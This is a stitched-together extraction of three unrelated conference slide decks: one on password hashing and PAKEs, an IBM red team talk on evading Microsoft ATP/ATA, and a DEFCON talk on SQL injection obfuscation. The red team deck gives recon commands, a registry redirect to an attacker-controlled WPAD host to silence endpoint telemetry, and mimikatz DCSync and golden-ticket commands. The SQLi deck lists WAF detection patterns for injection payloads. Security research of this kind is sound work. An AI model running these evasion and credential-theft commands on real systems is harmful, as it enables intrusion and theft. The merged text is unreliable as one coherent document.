(CVE-2014-9034) ● shacrypt (CVE-2016-20013) ● bcrypt's $2$, $2a$→$2b$, $2x$, truncation, and null characters 12 Key Stretching Bugs ● bcrypt silently truncates at 72 bytes $passhash = password_hash( phash('P3rv4d3_extrasalt') . $fields['password'] . phash('S0ftw4r3_extrapepper'), PASSWORD_BCRYPT); Note “phash()” is SHA-256 hex output Source: https://twitter.com/Paul_Reviews/status/1538124477317451777 Code from UK’s “Police CyberAlarm” 13 Key Stretching Bugs ● bcrypt silently truncates at 72 bytes $passhash = password_hash( phash('P3rv4d3_extrasalt') . $fields['password'] . phash('S0ftw4r3_extrapepper'), PASSWORD_BCRYPT); Note “phash()” is SHA-256 hex output Source: https://twitter.com/Paul_Reviews/status/1544735763807539200 14 Key Stretching Bugs ● Bouncy Castle’s bcrypt compare .indexOf() vs .charAt() (CVE- 2020-28052) ● Checks the first occurrences of ./0123456789 ● $2y$10$UnluckySalt./3456789..HashValueWontMatter............ – 1 in 1,030,319 (for costs 11 and 12) – 1 in 197,153 (for all other normal costs) 15 ● Key Stretching – What? – Why? – Types – What goes wrong? – How? – Settings Agenda ● Password Authenticated Key Exchange (PAKE) – What? – Why? – Types – How? – Properties 16 Key Stretching – How? 1) seed = H(inputs) 2) work = doWork(settings, seed) 3) key = KDF(outSize, work, seed) 17 Key Stretching – How? 1) seed = H(inputs) 2) work = doWork(settings, seed) 3) key = KDF(outSize, work, seed) 18 PBKDF2 HMAC-Init Password HMAC-Finish Salt || 1 HMAC-Finish XOR XOR HMAC-Finish XOR HMAC-Finish Salt || 2 HMAC-Finish XOR XOR HMAC-Finish XOR Concatenate ... 19 Parallel PBKDF2 work = xorBlocks( pbkdf2(password, salt, iterations:1024, length:128*cost*hashLength)) output = pbkdf2(password, work, iterations:1, length:outputLength) 20 Password Settings ● Minimum – Such that an attacker gets <10 kH/s/GPU[17] ● Maximum – Doesn’t take too much time 100 ms ≲ – Doesn’t use too much memory – Meets your needed throughput on your hardware 21 bscrypt Minimum Settings ● m=256 (256 KiB), t=8, p=1 ● m=256 (256 KiB), t=4, p=2 ● m=256 (256 KiB), t=3, p=3 ● General – m=highest per core cache level in KiB – t≥max(3, 1900000/1024/m/p) – p≤cores https://tobtu.com/minimum-password-settings/ BSidesLV 2022 (PasswordsCon track) bscrypt - A Cache Hard Password Hash 22 bcrypt Minimum Settings ● Cost 9 – Technically it's like “8.1” but it's an integer. – This should be about 5.3 kH/s on an RTX 3080 12GB. https://tobtu.com/minimum-password-settings/ 23 Argon2 Recommended Settings ● RFC9106 1) Argon2id: m=2097152 (2 GiB), t=1, p=4 2) Argon2id: m=65536 (64 MiB), t=3, p=4 https://tobtu.com/minimum-password-settings/ 24 Argon2 Recommended Settings ● RFC9106 1) Argon2id: m=2097152 (2 GiB), t=1, p=4 2) Argon2id: m=65536 (64 MiB), t=3, p=4 https://tobtu.com/minimum-password-settings/ Just kidding. Those are wildly different strengths. 25 Argon2 Minimum Settings ● Argon2{id,d}: m=45056 (44 MiB), t=1, p=1 ● Argon2{id,d}: m=18432 (18 MiB), t=2, p=1 ● Argon2: m=11264 (11 MiB), t=3, p=1 ● Argon2: m=8192 (8 MiB), t=4, p=1 ● Argon2: m=7168 (7 MiB), t=5, p=1 ● General – Argon2i: m≥89062.5/(3*t-1)*α, t≥3, p=1 – Argon2{id,d}: m≥89062.5/(3*t-1)*α, t≥1, p=1 https://tobtu.com/minimum-password-settings/ 26 scrypt Minimum Settings ● N=217 (128 MiB), r=8, p=1 ● N=216 (64 MiB), r=8, p=2 ● N=215 (32 MiB), r=8, p=3 ● N=214 (16 MiB), r=8, p=5 ● N=213 (8 MiB), r=8, p=9 ● General – N≥570000/r/p*α, r=8, p≥1 https://tobtu.com/minimum-password-settings/ 27 PBKDF2 Settings “Poll” A) 1’000’000 iterations B) 100’000 iterations C) 10’000 iterations D) 1’000 iterations 28 PBKDF2 Minimum Settings ● PBKDF2-HMAC-BLAKE-512* – 170’000 iterations ● PBKDF2-HMAC-SHA-512 – 130’000 iterations ● PBKDF2-HMAC-SHA-256 – 350’000 iterations ● PBKDF2-HMAC-SHA-1 – 860’000 iterations https://tobtu.com/minimum-password-settings/ Best but not a NIST approved hash 29 Parallel PBKDF2 Minimum Settings ● PPBKDF2-SHA-256 – Cost 3 ● PPBKDF2-SHA-512 – Cost 1 ● Each cost is equivalent to 131’072 (217) iterations of PBKDF2 https://tobtu.com/minimum-password-settings/ 30 ● Key Stretching – What? – Why? – Types – What goes wrong? – How? – Settings Agenda ● Password Authenticated Key Exchange (PAKE) – What? – Why? – Types – How? – Properties 31 PAKEs ● Password authentication ● Encrypted tunnels ● Sending files – https://github.com/magic-wormhole ● Fighting phone spoofing – https://commsrisk.com/?p=35506 32 Why not SCRAM? ● “Salted Challenge Response Authentication Mechanism” ● Untrusted channels – Messages are equivalent to a password hash 33 Types of PAKEs ● Balanced – Peer-to-Peer ● Augmented (aPAKE) – Client-Server ● Doubly Augmented[9] – Client-Server/Device-Server ● Identity – IoT Don’t call these symmetric/asymmetric 34 Types of PAKEs ● Balanced – Peer-to-Peer ● Augmented (aPAKE) – Client-Server ● Doubly Augmented[9] – Client-Server/Device-Server ● Identity – IoT Wi-Fi 35 PAKE Hierarchy Balanced Augmented Doubly Augmented Identity 36 Balanced Augmented Doubly Augmented Identity 37 ● Key Stretching – What? – Why? – Types – What goes wrong? – How? – Settings Agenda ● Password Authenticated Key Exchange (PAKE) – What? – Why? – Types – How? – Properties 38 Standard Diffie-Hellman A: a = random() A: A = a*G A->B: A B: b = random() B: B = b*G B: SB = b*A A<-B: B A: SA = a*B 39 Hide the Ephemeral Keys Standard Diffie-Hellman A: a = random() A: A = a*G A->B: A B: b = random() B: B = b*G B: SB = b*A A<-B: B A: SA = a*B Both: P = hashToCurve(H(pw)) A: a = random() A: A = a*G+P A->B: A B: b = random() B: B = b*G+P B: SB = b*(A-P) A<-B: B A: SA = a*(B-P) 40 Hide the Generator Standard Diffie-Hellman A: a = random() A: A = a*G A->B: A B: b = random() B: B = b*G B: SB = b*A A<-B: B A: SA = a*B Both: P = hashToCurve(H(pw)) A: a = random() A: A = a*P A->B: A B: b = random() B: B = b*P B: SB = b*A A<-B: B A: SA = a*B 41 Hide the Generator Standard Diffie-Hellman A: a = random() A: A = a*G A->B: A B: b = random() B: B = b*G B: SB = b*A A<-B: B A: SA = a*B Both: P = hashToCurve(H(pw)) A: a = random() A: A = a*P A->B: A B: b = random() B: B = b*P B: SB = b*A A<-B: B A: SA = a*B Patent Expired 2017 42 Hide the Salt (OPRF) C: P = hashToCurve(pw, id, …) C: r = random() C: R = r*P C->S: id, R S: salt = dbLookup(id) S: R' = salt*R C<-S: R' C: BlindSalt = (1/r)*R' BlindSalt == (1/r)*r*salt*P == salt*P 43 PAKEs – How? ● Balanced (Noise-NN) ● Augmented (Noise-KN) ● Doubly Augmented (“Noise-KK” but 3DH) ● Identity (Identity exchange+Balanced PAKE) 44 Balanced (Noise-NN) Alice Ephemeral Key Bob Ephemeral Key 45 Augmented (Noise-KN) Alice Static Key Ephemeral Key Bob Ephemeral Key 46 Doubly Augmented (3DH) Alice Static Key Ephemeral Key Bob Static Key Ephemeral Key 47 ● Balanced – CPace – SPEKE[7] ● Augmented – (strong) AuCPace* – B-SPEKE – BS-SPEKE* ● Doubly Augmented – Double BS-SPEKE* – OPAQUE[11] ● Identity – CHIP[12] – CRISP[12] – “FRY” – SPAKE2+[8] – SPAKE2+EE[9] – SRP6a – SPAKE2[8] – SPAKE2-EE[9] Hiding the: Generator, Ephemeral Keys, Salt Note not red 48 PAKE Properties 0)Forward secrecy (every PAKE has this) 1)Prevent precomputation 2)Secure registration 3)Quantum annoying (Paper[13], PQCrypto 2021[14]) 4)Fragile 5)Number of trips (3 vs 4) 49 PAKE Properties 0)Forward secrecy (every PAKE has this) 1)Prevent precomputation 2)Secure registration 3)Quantum annoying (Paper[13], PQCrypto 2021[14]) 4)Fragile 5)Number of trips (3 vs 4) Discrete Log Problem (DLP) “Break Diffie-Hellman” 50 Quantum Annoying ● “It is noted in [BM92] that if we assume that a discrete log pre- computation has been made for the modulus, a password attack must also compute the specific log for each entry in the password dictionary (until a match is found).” – SPEKE paper 1996[7] ● “With EKE, the password P is used to superencrypt such values; it is not possible to essay a discrete logarithm calculation except for all possible guesses of P.” – EKE paper 1992[16] 51 PAKE Properties 1)Prevent precomputation ■ ■ ■ ■ ■ 2)Secure registration ■ ■ ■ ■ ■ 3)Quantum annoying ■ ■ ■ ■ 4)Fragile ■ ■ ■ ■ ■ 5)3 Trips ■ ■ ■ ■ ■ ■ (strong) AuCPace ■ CPace ■ BS-SPEKE ■ Double BS-SPEKE ■ OPAQUE 52 PAKE API message, status = start(myId, otherId, secret, pakeUser = PAKE_USER_CLIENT, pakeMode = PAKE_MODE_USE) message, status = receiveMessage(message) https://gist.github.com/Sc00bz/9d5c8e98143f68377e17dc82c5955f2b “pake-api.md” 53 PAKE API sessionKey = getPakeKey() storedSecret = getStoredSecret() passwordKey = getPasswordKey() https://gist.github.com/Sc00bz/9d5c8e98143f68377e17dc82c5955f2b “pake-api.md” 54 Cheat Sheet ● Balanced – CPace ● Augmented – BS-SPEKE ● Doubly Augmented – Double BS-SPEKE ● Identity – CHIP ● Balanced PAKEs don’t need key stretching ● bscrypt (minimums) – m=256 (256 KiB), t=8, p=1 – m=256 (256 KiB), t=4, p=2 – m=256 (256 KiB), t=3, p=3 – General ● m=highest per core cache level in KiB ● t≥max(3, 1900000/1024/m/p) ● p≤cores 55 ● Key Stretching – What? [Slide 5] – Why? [Slide 6] – Types [Slide 8] – What goes wrong? [Slide 11] – How? [Slide 16] – Settings [Slide 20] Agenda ● Password Authenticated Key Exchange (PAKE) – What? [Slide 30] – Why? [Slide 31] – Types [Slide 33] – How? [Slide 38] – Properties [Slide 48] 56 Questions? ● Twitter: @Sc00bzT ● Github: Sc00bz ● steve at tobtu.com 57 References [1] https://blog.cynosureprime.com/2015/09/how-we-cracked-millions-of-ashley.html [2] Police CyberAlarm https://twitter.com/Paul_Reviews/status/1538124477317451777 [3] Police CyberAlarm https://twitter.com/Paul_Reviews/status/1544735763807539200 [4] Password settings https://tobtu.com/minimum-password-settings/ [5] Send files https://github.com/magic-wormhole [6] Phone spoofing https://commsrisk.com/?p=35506 [7] SPEKE https://jablon.org/jab96.pdf / https://jablon.org/jab97.pdf [8] SPAKE2 https://www.di.ens.fr/~mabdalla/papers/AbPo05a-letter.pdf [9] SPAKE2-EE https://moderncrypto.org/mail-archive/curves/2015/000424.html 58 References [10] (strong) AuCPace https://ia.cr/2018/286 [11] OPAQUE https://ia.cr/2018/163 [12] CHIP, CRISP https://ia.cr/2020/529 [13] Quantum annoying formal definition https://ia.cr/2021/696 [14] Quantum annoying talk https://pqcrypto2021.kr/program.php / https://youtu.be/Ikco7zuAixY [15] pake-api.md https://gist.github.com/Sc00bz/9d5c8e98143f68377e17dc82c5955f2b [16] EKE https://www.cs.columbia.edu/~smb/papers/neke.pdf [17] 10 kH/s/GPU quote https://arstechnica.com/?p=685505
pdf
01 02 03 MS Just Gave the Blue Team Tactical Nukes (And How Red Teams Need To Adapt) 2 IBM Security Who is this Drew Carey Look Alike On Stage? •  Red Team Ops Lead at IBM X-Force Red •  I conduct red teaming operations against defense contractors and some of North America’s largest banks •  On the board for CREST USA (crest-approved.org) •  I teach network and mobile pentesting •  I like mountain biking, drones, and beer •  It’s my first time, be gentle •  Canadian, sorry not sorry 3 IBM Security Lab Background •  3 domains within 2012R2 Forest & 2016 Forest, connected via 2-way Forest Trust •  3000~ users •  ATP RS2 running on 10x Windows 10 1703 boxes with all ATP default and preview features enabled •  10x 2012R2/2016 member servers running SQL 2012, etc. •  Both forests have an ATA 1.8 Lightweight Gateway running 1.7 since March, upgraded to 1.8 early July 4 IBM Security Tactical nukes? wut? Red Team^ Blue Team^ 5 IBM Security We’re Talking Post Breach Source: https://blogs.microsoft.com/microsoftsecure/2016/11/28/disrupting-the-kill-chain/ 6 IBM Security ATP’s Cloud-Based Management Dashboard Intro 7 IBM Security Alert Process Tree 8 IBM Security Incident Graphs 9 IBM Security Host Management 10 IBM Security Upcoming Windows 10 Fall Creators Update w/ ATP Release 3 Defender “brand” expanded to include: •  Windows Defender AV •  Windows Defender Advanced Threat Protection •  Windows Defender Exploit Guard (EMET) •  Windows Defender Application Guard •  Windows Defender Device Guard •  Credential Guard •  Extended to cover the Windows Server platform, starting with Windows Server 2012 R2 and 2016, Linux Source: https://blogs.windows.com/business/2017/06/27/announcing-end-end-security-features-windows-10/ 11 IBM Security 12 IBM Security Gaining a Foothold w/ Out Of The Box Payloads 13 IBM Security Obfuscated Payloads 14 IBM Security Oh right, they talked about PSv5 security last year... •  “Suspicious Strings” are already flagged in PSv5 by default •  PowerShell v5 has Script Block Logging on by default. •  AMSI is also enabled by default... •  You can’t just downgrade to PSv2 to bypass •  Same goes for using NotPowerShell or those that directly call System.Management.Automation.dll •  Common techniques leveraging WScript.Shell, etc. are also caught. 15 IBM Security Undetected: •  Bypassing Script Block Logging/AMSI and then executing encoded payloads •  Using VBA shellcode injection and not using Kernel32 API declarations (such as @vysecurity’s cactustorch) •  And sneakier executables with Shelter, diagcabs, etc. https://www.mdsec.co.uk/2017/07/payload-generation-with-cactustorch/ https://cobbr.io/ScriptBlock-Warning-Event-Logging-Bypass.html https://github.com/nccgroup/winpayloads 16 IBM Security Remember, we’re talking POST Breach •  The challenge doesn’t stop by getting on the box undetected initially... that’s the easy part. •  The problem is detection of activities performed/tools and commands run after you have an initial foothold / C&C: ̶  Host Recon ̶  Host Priv Esc ̶  Internal Domain Recon ̶  Internal Network Recon ̶  Stealing Creds ̶  Lateral Movement ̶  Grabbing the NTDS.Dit 17 IBM Security Host Recon echo %userdomain% echo %logonserver% echo %homepath% echo %homedrive% net view net view \fileserv /all net share net accounts netstat tasklist /svc gpresult /z net localgroup Administrators netsh advfirewall show allprofiles state systeminfo netstat –anfo wmic process list brief wmic group list brief wmic computersystem list wmic process list /format:list wmic ntdomain list /format:list wmic useraccount list /format:list wmic group list /format:list wmic sysaccount list /format:list $env:USERDOMAIN $env:LOGONSERVER $env:HOMEPATH $env:HOMEDRIVE $env:SYSTEMDRIVE $env:TEMP $env:ComSpec $env:USERNAME Tree $home 18 IBM Security Side note: Traditional Defender AV also runs as Local System By the time you read these tweets over your morning coffee, your target’s Defender AV instances were already patched... 19 IBM Security Must elevate to system to stop ATP process, service, modify binaries, etc. 20 IBM Security Uninstalling •  Unlike other cloud AV products like CrowdStrike R TM, you can’t just uninstall them from an elevated command prompt such as: wmic product where "description='CrowdStrike Sensor Platform’” uninstall •  ATP requires a generated offboarding script with a SHA256 signed reg key based on the unique Org ID and cert to uninstall: 21 IBM Security •  The ATP sensor uses Windows Telemetry (DiagTrack service), which in turn uses WinHTTP Services (winhttp.dll.mui) to report sensor data and communicate with the Windows Defender ATP cloud service. Telemetry (Cloud Comms) 22 IBM Security Disrupt ATP Comms as an Unprivileged User •  The WinHTTP API is independent of Windows Internet (WinINet) internet browsing proxy settings, however it will follow statically set proxy settings within HKCU via the function WinHttpGetProxyForUrl •  As unprivileged user, you can also manually configure this (no restart required) at: reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" ^ /v AutoDetect /t REG_DWORD /D 0 /f reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL /t REG_SZ /d "http://attacker.com/wpad.dat" /f •  Note this only blocks ATP (Sense), not Windows Defender AV, as AV doesn’t use WinHTTP 23 IBM Security Block ATP Comms via FW You can use the same technique to block traffic for Event Log Forwarding, Sysmon, SCOM, etc. 24 IBM Security Why Block Instead Of Disabling? •  Very quick... •  Doesn’t require escalating to system •  Doesn’t alert on communication error within Security Centre/cloud ATP console for 7 days •  Initial IR shows the service/process still running •  This issue isn't unique to ATP... 25 IBM Security ATA •  ATA Center •  ATA Gateway •  ATA Lightweight Gateway •  ATA needs the following Windows events: 4776, 4732, 4733, 4728, 4729, 4756, 4757 •  Can integrate with SIEM (syslog) & VPN (Radius) 26 IBM Security Learning Period 1 month of learning: •  Abnormal behavior •  Abnormal sensitive group modification •  Recon using directory services 1 week of learning: •  Encryption downgrades (skeleton key, golden ticket, over pass the hash) •  Brute force 27 IBM Security Detected: Internal Recon Activities Detected: AD recon via typical queries like “net user /domain” Detected: DNS queries and zone transfers Detected: User session enumeration via PowerView, NetSess, etc. 28 IBM Security Not Detected: Enumeration via WMI Local Name Space Domain User Accounts: Get-WmiObject -Class Win32_UserAccount -Filter "Domain='dev' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired, PasswordChangeable, Description, SID Domain Groups: Get-WmiObject -Class Win32_GroupInDomain | Select PartComponent | Select-String -Pattern "Microsoft Advanced Threat Analytics“ Get-CimInstance -ClassName Win32_Group -Filter "Domain = 'dev' AND Name like '%SQL%'" Get-CimInstance -ClassName Win32_Group -Filter "Domain = 'dev' AND Name like '%Admin%’” Domain Group User Memberships: Get-CimInstance -ClassName Win32_Group -Filter "Domain = 'dev' AND Name='Enterprise Admins'" | Get-CimAssociatedInstance -Association Win32_GroupUser Get-CimInstance -ClassName Win32_Group -Filter "Domain = 'dev' AND Name='DNSAdmins'" | Get-CimAssociatedInstance -Association Win32_GroupUser Get-CimInstance -ClassName Win32_Group -Filter "Domain = 'dev' AND Name='Microsoft Advanced Threat Analytics Administrator'" | Get-CimAssociatedInstance -Association Win32_GroupUser 29 IBM Security Examples 30 IBM Security Forest Trusts Demo 31 IBM Security Lateral Movement via SQL Demo 32 IBM Security Detected: DCSync mimikatz # lsadump::dcsync /domain prod.local /user:krbtgt 33 IBM Security Copying NTDS.dit File Remotely using the WMI Win32_ShadowCopy Class •  Using a technique by @0xbadjuju, we can use the WMI Win32_ShadowCopy Class to dump the ntds.dit via volume shadow copies without having to call vssadmin.exe •  Copying the NTDS.dit and SYSTEM files from a workstation isn’t detected by ATP •  But is flagged only as a LOW severity event in ATA due to execution: 34 IBM Security Detected: Golden Tickets Detection (Using KRBTGT NTLM Hash) kerberos::golden /user:EdwardAbbey /domain:prod.local / sid:S-1-5-21-2184559304-2325842030-2845129662-500 /krbtgt: 43f53b1c3516a08b2c33ded83bff0c9f /groups:513,512,520,518,519 /ptt 35 IBM Security Not Detected: Using AES Key kerberos::golden /user:JohnVanwagoner /domain:prod.local / sid:S-1-5-21-2184559304-2325842030-2845129662 / aes256:05df6ed1616d67dc672d51814959b9b6de0d9f5f89c53d186eff3cea13bae2e9 / groups:512,513 /startoffset:-1 /endin:500 /renewmax:3000 /ptt DEMO 36 IBM Security Big Thanks / Sources •  @angus_tx, @nosteve, and the rest of the IBM X-Force Red crew •  @0xbadjuju, @_nullbind, NetSPI for PowerUp SQL and WMI techniques •  @mattifestation and the rest of the ATP/ATA crew at MS •  @cobbr_io, @danielhbohannon, @nikhil_mitt, @kevin_Robertson, @gentilkiwi, @armitagehacker, @harmj0y, @JershMagersh, @vysecurity, and many others for tools, techniques, and giving back to the community
pdf
New Techniques in SQLi Obfuscation SQL never before used in SQL Injection Nick Galbreath @ngalbreath [email protected] DEFCON 20 at the Rio in sunny Las Vegas 2012-07-27 Friday 4:20 pm! http://slidesha.re/ MfOiNR Follow along or get the latest version: That's an OH, not a zer0 SQL Specification • http://www.contrib.andrew.cmu.edu/ ~shadow/sql/sql1992.txt • 625 pages of plain text • http://savage.net.au/SQL/sql-2003-2.bnf • 119 pages of pure BNF • No one implements exactly • Everyone has extensions, exceptions, bugs Regexp Based WAF (?:\)\s*when\s*\d+\s*then)|(?:"\s*(?:#|--|{))|(?:\/\*!\s?\d+)|(?:ch(?:a)?r\s*\(\s*\d)|(?:(?:(n?and|x?or|not)\s+|\|\||\&\&)\s*\w+\() (?:[\s()]case\s*\()|(?:\)\s*like\s*\()|(?:having\s*[^\s]+\s*[^\w\s])|(?:if\s?\([\d\w]\s*[=<>~]) (?:"\s*or\s*"?\d)|(?:\\x(?:23|27|3d))|(?:^.?"$)|(?:(?:^["\\]*(?:[\d"]+|[^"]+"))+\s*(?:n?and|x?or|not|\|\||\&\&)\s*[\w"[+&!@(),.-])|(?:[^\w\s]\w+\s*[|-] \s*"\s*\w)|(?:@\w+\s+(and|or)\s*["\d]+)|(?:@[\w-]+\s(and|or)\s*[^\w\s])|(?:[^\w\s:]\s*\d\W+[^\w\s]\s*".)|(?:\Winformation_schema|table_name\W) (?:"\s*\*.+(?:or|id)\W*"\d)|(?:\^")|(?:^[\w\s"-]+(?<=and\s)(?<=or\s)(?<=xor\s)(?<=nand\s)(?<=not\s)(?<=\|\|)(?<=\&\&)\w+\()|(?:"[\s\d]*[^\w\s]+\W*\d \W*.*["\d])|(?:"\s*[^\w\s?]+\s*[^\w\s]+\s*")|(?:"\s*[^\w\s]+\s*[\W\d].*(?:#|--))|(?:".*\*\s*\d)|(?:"\s*or\s[^\d]+[\w-]+.*\d)|(?:[()*<>%+-][\w-]+[^\w\s] +"[^,]) (?:\d"\s+"\s+\d)|(?:^admin\s*"|(\/\*)+"+\s?(?:--|#|\/\*|{)?)|(?:"\s*or[\w\s-]+\s*[+<>=(),-]\s*[\d"])|(?:"\s*[^\w\s]?=\s*")|(?:"\W*[+=]+\W*")|(?:"\s*[!=|] [\d\s!=+-]+.*["(].*$)|(?:"\s*[!=|][\d\s!=]+.*\d+$)|(?:"\s*like\W+[\w"(])|(?:\sis\s*0\W)|(?:where\s[\s\w\.,-]+\s=)|(?:"[<>~]+") (?:union\s*(?:all|distinct|[(!@]*)?\s*[([]*\s*select)|(?:\w+\s+like\s+\")|(?:like\s*"\%)|(?:"\s*like\W*["\d])|(?:"\s*(?:n?and|x?or|not |\|\||\&\&)\s+[\s \w]+=\s*\w+\s*having)|(?:"\s*\*\s*\w+\W+")|(?:"\s*[^?\w\s=.,;)(]+\s*[(@"]*\s*\w+\W+\w)|(?:select\s*[\[\]()\s\w\.,"-]+from)|(?:find_in_set\s*\() (?:in\s*\(+\s*select)|(?:(?:n?and|x?or|not |\|\||\&\&)\s+[\s\w+]+(?:regexp\s*\(|sounds\s+like\s*"|[=\d]+x))|("\s*\d\s*(?:--|#))|(?:"[%&<>^=]+\d\s*(=| or))|(?:"\W+[\w+-]+\s*=\s*\d\W+")|(?:"\s*is\s*\d.+"?\w)|(?:"\|?[\w-]{3,}[^\w\s.,]+")|(?:"\s*is\s*[\d.]+\s*\W.*") (?:[\d\W]\s+as\s*["\w]+\s*from)|(?:^[\W\d]+\s*(?:union|select|create|rename|truncate|load|alter|delete|update|insert|desc))|(?:(?:select|create|rename| truncate|load|alter|delete|update|insert|desc)\s+(?:(?:group_)concat|char|load_file)\s?\(?)|(?:end\s*\);)|("\s+regexp\W)|(?:[\s(]load_file\s*\() (?:@.+=\s*\(\s*select)|(?:\d+\s*or\s*\d+\s*[\-+])|(?:\/\w+;?\s+(?:having|and|or|select)\W)|(?:\d\s+group\s+by.+\()|(?:(?:;|#|--)\s*(?:drop|alter))|(?: (?:;|#|--)\s*(?:update|insert)\s*\w{2,})|(?:[^\w]SET\s*@\w+)|(?:(?:n?and|x?or|not |\|\||\&\&)[\s(]+\w+[\s)]*[!=+]+[\s\d]*["=()]) (?:"\s+and\s*=\W)|(?:\(\s*select\s*\w+\s*\()|(?:\*\/from)|(?:\+\s*\d+\s*\+\s*@)|(?:\w"\s*(?:[-+=|@]+\s*)+[\d(])|(?:coalesce\s*\(|@@\w+\s*[^\w\s])|(?:\W! +"\w)|(?:";\s*(?:if|while|begin))|(?:"[\s\d]+=\s*\d)|(?:order\s+by\s+if\w*\s*\()|(?:[\s(]+case\d*\W.+[tw]hen[\s(]) (?:(select|;)\s+(?:benchmark|if|sleep)\s*?\(\s*\(?\s*\w+) (?:create\s+function\s+\w+\s+returns)|(?:;\s*(?:select|create|rename|truncate|load|alter|delete|update|insert|desc)\s*[\[(]?\w{2,}) (?:alter\s*\w+.*character\s+set\s+\w+)|(";\s*waitfor\s+time\s+")|(?:";.*:\s*goto) (?:procedure\s+analyse\s*\()|(?:;\s*(declare|open)\s+[\w-]+)|(?:create\s+(procedure|function)\s*\w+\s*\(\s*\)\s*-)|(?:declare[^\w]+[@#]\s*\w+)|(exec\s*\ (\s*@) (?:select\s*pg_sleep)|(?:waitfor\s*delay\s?"+\s?\d)|(?:;\s*shutdown\s*(?:;|--|#|\/\*|{)) (?:\sexec\s+xp_cmdshell)|(?:"\s*!\s*["\w])|(?:from\W+information_schema\W)|(?:(?:(?:current_)?user|database|schema|connection_id)\s*\([^\)]*)|(?:";? \s*(?:select|union|having)\s*[^\s])|(?:\wiif\s*\()|(?:exec\s+master\.)|(?:union select @)|(?:union[\w(\s]*select)|(?:select.*\w?user\()|(?:into[\s+]+ (?:dump|out)file\s*") (?:merge.*using\s*\()|(execute\s*immediate\s*")|(?:\W+\d*\s*having\s*[^\s\-])|(?:match\s*[\w(),+-]+\s*against\s*\() (?:,.*[)\da-f"]"(?:".*"|\Z|[^"]+))|(?:\Wselect.+\W*from)|((?:select|create|rename|truncate|load|alter|delete|update|insert|desc)\s*\(\s*space\s*\() (?:\[\$(?:ne|eq|lte?|gte?|n?in|mod|all|size|exists|type|slice|or)\]) (?:(sleep\((\s*)(\d*)(\s*)\)|benchmark\((.*)\,(.*)\))) (?:(union(.*)select(.*)from)) (?:^(-0000023456|4294967295|4294967296|2147483648|2147483647|0000012345|-2147483648|-2147483649|0000023456|2.2250738585072007e-308|1e309)$) Some of the regular expressions used by PHPIDS 0.7 Analyzing SQL and SQLi • Libinjection is a Quasi-SQL tokenizer • https://github.com/client9/libinjection • Tries to handle all vendor special cases • Run all SQLi through it, see what code paths in the parser aren't being triggered • (note, libinjection is a work in progress, biased toward MySQL, PgSQL for the moment) Sources Tens of thousands attacks of varying quality • Output from SQLi vulnerability scanners against dummy sites • Published attacks • HOW-TO guides • Stuff we see at Etsy Lots of Dark Corners • We'll review many of the SQL oddities that aren't actively being used or are interesting enough to re-review. • Great for new fuzzers, vulnerability scanners, WAF builders and validators. NULL MySQL NULL Alias MySQL NULL can written as \N case sensitive. \n is not a null. This means any WAF that does a "to_lower" on the user input and looks for "null" will miss this case. NULL PGSQL • ISNULL, NOTNULL (same as IS NULL), this is a function in MSSQL • "IS [NOT] UNKNOWN" • "IS [NOT] DISTINCT" Numbers Floating Point • digits • digits[.] • digits[.]digits • digits[eE]digits • digits[eE][+-]digits • digits[.][eE]digits • digits[.]digits[eE]digits • digits[.]digits[eE][+-]digits • [.]digits • [.]digits[eE]digits • [.]digits[eE][+-]digits Optional starts with [+-] Optional ending with [dDfF] (Oracle) Exceptions • 1.AND 2 (no space between "1." "AND") some parsers accept, some don't • 1e1 vs. 1e1.0 ? Oracle Special Literals • binary_double_infinity • binary_double_nan • binary_float_infinity • binary_float_nan might be case sensitive numbers without numbers! Hexadecimal Literals • 0xDEADbeef MySQL, MSSQL 0x is case sensitive • 0x (empty string) MSSQL only • x'DEADbeef' PgSQL Binary Literals • b'10101010' MySQL, PgSQL • 0b010101 MySQL • case sensitive Money Literals • MSSQL has a money type. • -$45.12 • $123.0 • +$1,000,000.00 Commas ignored • Haven't really experiments with this yet. • Does it auto-cast to a float or int type? Comments MySQL # Comment • '#' signals an till-end-of-line Comment • Well used in SQLi attacks • However... '#' is an operator in PgSQL. Beware that s/#.*\n// will delete code that needs inspecting. • Lots of other MySQL comment oddities: http://dev.mysql.com/doc/refman/5.6/en/ comments.html PGSQL Comments • Besides the usual -- comment • PgSQL has recursive C-Style Comments • /* foo /* bar */ */ • Careful! What happens when you 'remove comments' in /* /* */ UNION ALL /* */ */ Strings C-Style String Merging • C-Style consecutive strings are merged into one. • SELECT 'foo' 'bar'; • SELECT 'foo' "bar"; (mysql) • SQL Spec and PgSQL requires a newline between literals: SELECT 'foo' 'bar'; Standard Unicode • N'....' or n'...' • MSSQL Case-sensitive 'N' • Not sure on escaping rules. MySQL Ad-Hoc Charset • _charset'....' • _latin1'.....' • _utf8'....' PGSQL Dollar Quoting From http://www.postgresql.org/docs/9.1/static/sql-syntax-lexical.html#SQL-SYNTAX-COMMENTS A dollar-quoted string constant consists of a dollar sign ($), an optional "tag" of zero or more characters, another dollar sign, an arbitrary sequence of characters that makes up the string content, a dollar sign, the same tag that began this dollar quote, and a dollar sign. For example, here are two different ways to specify the string "Dianne's horse" using dollar quoting: $$Dianne's horse$$ $SomeTag$Dianne's horse$SomeTag$ What more fun? They can be nested! PGSQL Unicode From http://www.postgresql.org/docs/9.1/static/sql-syntax- lexical.html emphasis mine: ... This variant starts with U& (upper or lower case U followed by ampersand) immediately before the opening double quote, without any spaces in between, for example U&"foo". (Note that this creates an ambiguity with the operator &. Use spaces around the operator to avoid this problem.) Inside the quotes, Unicode characters can be specified in escaped form by writing a backslash followed by the four-digit hexadecimal code point number or alternatively a backslash followed by a plus sign followed by a six-digit hexadecimal code point number. For example, the identifier "data" could be written as U&"d\0061t\+000061" The following less trivial example writes the Russian word "slon" (elephant) in Cyrillic letters: U&"\0441\043B\043E\043D" If a different escape character than backslash is desired, it can be specified using the UESCAPE clause after the string, for example: U&"d!0061t!+000061" UESCAPE '!' Oracle Q String http://docs.oracle.com/cd/B28359_01/appdev.111/b28370/ fundamentals.htm#autoId6 q'!...!' notation allows use of single quotes inside literal string_var := q'!I'm a string!'; You can use delimiters [, {, <, and (, pair them with ], }, >, and ), pass a string literal representing a SQL statement to a subprogram, without doubling the quotation marks around 'INVALID' as follows: func_call(q'[SELECT index_name FROM user_indexes WHERE status ='INVALID']'); Operators and Expressions Operators! • ! and !! Factorial (pgsql) • |/ square root (pgsql) • ||/ cube root (pgsql) • # bitwise XOR (pgsql, conflicts with MySQL) • ** 